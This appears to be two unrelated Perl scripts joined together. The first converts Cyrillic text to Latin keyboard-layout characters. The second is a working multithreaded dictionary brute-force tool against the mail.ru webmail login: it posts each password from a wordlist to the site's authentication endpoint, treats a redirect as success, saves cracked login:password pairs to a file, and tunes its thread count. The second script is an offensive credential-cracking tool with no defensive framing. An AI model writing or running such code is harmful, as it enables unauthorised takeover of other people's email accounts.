#!/usr/bin/perl -w

use strict;

my $src = shift || die "Usage: transkey.pl <source> [destination]\n";
my $dst = shift || 'trans_'.$src;

open SR, '<', $src or die "Could not open source file\n";
open DS, '>', $dst or die "Could not create destination file\n";

$/ = undef;
my $text = <SR>;
$text =~ tr/
ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮйцукенгшщзхъфывапролджэячсмитьбю/
QWERTYUIOP[]ASDFGHJKL;'ZXCVBNM,.qwertyuiop[]asdfghjkl;'zxcvbnm,.\//;
print DS $text;

close SR;
close DS;

#!/usr/bin/perl

use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;

######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################

( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
	print "Sorry, password not found =(\n";
	exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
	while (@pass){
	$pass = shift @pass;
	$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
	$sock = IO::Socket::INET->new(Proto=>'tcp',
				      PeerAddr=>'win.mail.ru',
				      PeerPort=>80);
	print $sock  "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
		     "Host: win.mail.ru\r\n".
		     "Accept: */*\r\n".
		     "Range: bytes=0-63\r\n".
		     "User-Agent: Opero\r\n".
		     "Content-Type: application/x-www-form-urlencoded\r\n".
		     "Content-Length: ".length($data)."\r\n".
		     "Connection: close\r\n\r\n$data";
	$answ = <$sock>;
	close $sock;
	#print "$pass\t$answ";
	if ($answ =~ /302/){
		open (good, '>>good.txt');
		print good "$login:$pass\n";
		print "$login:$pass\n";
		close good;
		exit;
	}
}
}
if ( $thr < 20 && $key == 0 ) {
	my $time_end = time;
	my $timer = $time_end - $time_start;
	print "For $thr threads time = $timer\n";
	$optim[$timer] = $thr;
	$thr++;
} elsif ($key == 0) {
	while (1) {
		$thr = shift @optim;
		print "Thr $thr\n";
		last if ($thr);
	}
	$key = 1;
}
goto Next;
sub pass
{
	my (@mas);
	while (<pass>){
	push @mas, $_;
	last if (@mas > 300);
	}
	print bad $_;
	print $_;
	chomp @mas;
	return @mas;
}